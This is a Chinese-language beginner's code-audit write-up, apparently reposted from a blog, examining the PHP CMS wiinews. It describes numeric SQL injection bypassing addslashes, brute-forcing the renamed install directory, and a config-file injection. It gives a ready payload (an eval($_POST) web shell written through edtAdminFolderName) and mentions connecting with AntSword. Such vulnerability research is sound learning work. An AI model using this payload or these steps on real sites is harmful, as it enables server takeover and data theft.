码迷,mamicode.com
首页 > 其他好文 > 详细

通读审计之wiinews

时间:2020-04-18 23:13:10      阅读:102      评论:0      收藏:0      [点我收藏+]

标签:需要   host   返回结果   sql注入   feed   数据库连接   shel   class   管理员   

0x00前言

前两天一直在读mvc框架的源码,初步读aacms,但是发现真的太难读,主要是自己的php功底还是太差,读起来吃力,所以先读一个比较简单的源码来练一练,这套源码之前也复现过漏洞,就是wiinews。在复现了漏洞之后,自己尝试用危险函数朔源的办法没有找到漏洞,所以尝试一下通读。另外我刚刚开始读学代码审计,这篇文章比较适合和我一样的小萌新看!

0x01 通读审计

观察结构

技术图片100% • 75% • 50%
结构还是比较简单的,images放一些图片,inc放了些配置文件,__install504 放的是一些安装文件,这里是已经安装过后的文件名,在安装之前这里是install, 在安装了过后,他会进行重命名,wiinews里面放了一些admin的文件,安装的时候会让你给admin改名,我改的就是wiinews,然后其他的就是些入口的php文件。

sql注入

Ok,就让我们从index.php开始吧。
技术图片100% • 75% • 50%
一进来就包含了两个文件,我们去看看
进去后发现 db_conn是一些数据库配置文件
技术图片100% • 75% • 50%
__FILE__返回当前文件路径
Ob_start() 添加一个缓存
又包含了一个文件 conifg.php,去看一看
技术图片100% • 75% • 50%
储存了数据库行户密码,后台目录等
再来看看getheader.php
技术图片100% • 75% • 50%
获取请求头的一些数据,接下来又回到index.php
技术图片100% • 75% • 50%
可以看到 17和 25 行是可能存在xss的,这里直接去找一下这个变量是否可控,用seay审计去搜一搜,搜到了在db_conn.php里面,不可控。又看到包含了header,
技术图片100% • 75% • 50%
进去看了下就是输出标题!如果有log输出log,没什么问题。继续往下,
mysql_num_rows() 返回结果中行的数量,
mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组
下来看到一处连接到 newsbysort.php (新闻排序),我们去看一看,在页面中就是
技术图片100% • 75% • 50%
跟进 newbysort.php
技术图片100% • 75% • 50%
可以看到对 id 就行了 sqlReplace()的过滤,跟进这个函数,
技术图片100% • 75% • 50%
sqlReplece只是用了 addslashes() 函数对字符进行过滤,这样之过滤了引号和\,而且仅仅是这样是无法预防数字型的注入的。所以在newsbysort.php的查询是存在是注入的,这里之前也分析过。
技术图片100% • 75% • 50%
技术图片100% • 75% • 50%
从newsBysort.php 又一个连接到 newsDetail.php
技术图片100% • 75% • 50%
这里依然存在sql注入。初步估计是只要id类型的都有注入,接下来就直接说发现的洞吧。

恶意代码植入导致 getshell

还记得我们进入index.php的时候的的代码吗?
技术图片100% • 75% • 50%
这里为了不让别人访问,对install进行了改名,但是这个改名只是在后面加了个伪随机数,经过爆破就可随便得到。
简单的进行演示一下
技术图片100% • 75% • 50%
接下来我们就可以快乐的去访问了!
技术图片100% • 75% • 50%
点击下一步,
技术图片100% • 75% • 50%
需要账号密码,这里可以进行爆破,失败时他会显示2001错误,数据库连接错误
技术图片100% • 75% • 50%
密码正确时爆2006错误,请为install设置写权限
技术图片100% • 75% • 50%
跟进install.php去查看一下报错的原因
技术图片100% • 75% • 50%
在安装这套系统的时候,为了安全起见,willnews会让你改掉admin目录和自动重置 install目录,所以这里文件都不存在,肯定是无法读取的,所以我们是无法正常安装,但是整个安装进程是没有结束的,我们接着看其他。
install_finish.php

<?php
error_reporting(0);
$AdminUserName=trim($_POST["edtAdminUserName"]);
$AdminPassWord=trim($_POST["edtAdminPassWord"]);
$foldername=trim($_POST["edtAdminFolderName"]);
....
$db_host=trim($_POST["db_host"]);
$db_user=trim($_POST["db_user"]);
$db_name=trim($_POST["db_name"]);
$db_password=trim($_POST["db_password"]);
....
if(!mysql_connect($db_host,$db_user,$db_password)){
    echo("<p class=‘error‘>错误:2012。意外错误!</p>");
}else{
    mysql_query("set names utf8");
if(!mysql_select_db($db_name)){
    echo("<p class=‘error‘>错误:2013。意外错误!</p>");
}else{
    $rand=md5(uniqid(rand(),true));
    rename("../admin",$AdminFolderName);
    $files="../inc/config.php";
    $config_str  = "\n";
    $config_str .= "<?php";
    $config_str .= "\n";
    $config_str .= ‘$admin_dir= "‘.$foldername.‘";‘;
    $config_str .= "\n";
    $config_str .= "define(‘wiinews_id‘,‘".$rand."‘);";
    $config_str .= "\n";
    $config_str .= ‘?>‘;
    $fp=fopen($files,"a");
    fwrite($fp,$config_str);
    fclose($fp);
    ....

 

这个文件漏洞就很明显了,它直接连接数据库然后(当然是知道账号密码情况下)写入管理员账号密码,接下来又将 folddername 写入配置文件,这样我们就可以恶意植入代码getshell
技术图片100% • 75% • 50%
Payload:db_host=localhost&db_user=root&db_name=wiinews&db_password=root&edtAdminFolderName=";eval($_POST[‘dim‘]);//
接下来我们就可以用蚁剑连接了
技术图片100% • 75% • 50%
但是这样造成的后果就是会把马插坏,因为找不到admin.php目录,但是我们任然时可以在蚁剑里操作的。

又一处sql注入

技术图片100% • 75% • 50%
原理和之前一样,只不过在后台。。。,这个漏洞点好多文件都有,不再找了。

写在最后

代码审计刚开始读的时候真的很费力,不过我相信到后面会好起来。 这里想问各位师傅一个问题,代码审计一定要搞懂每一行代码吗?

通读审计之wiinews

标签:需要   host   返回结果   sql注入   feed   数据库连接   shel   class   管理员   

原文地址:https://www.cnblogs.com/tlbjiayou/p/12728627.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!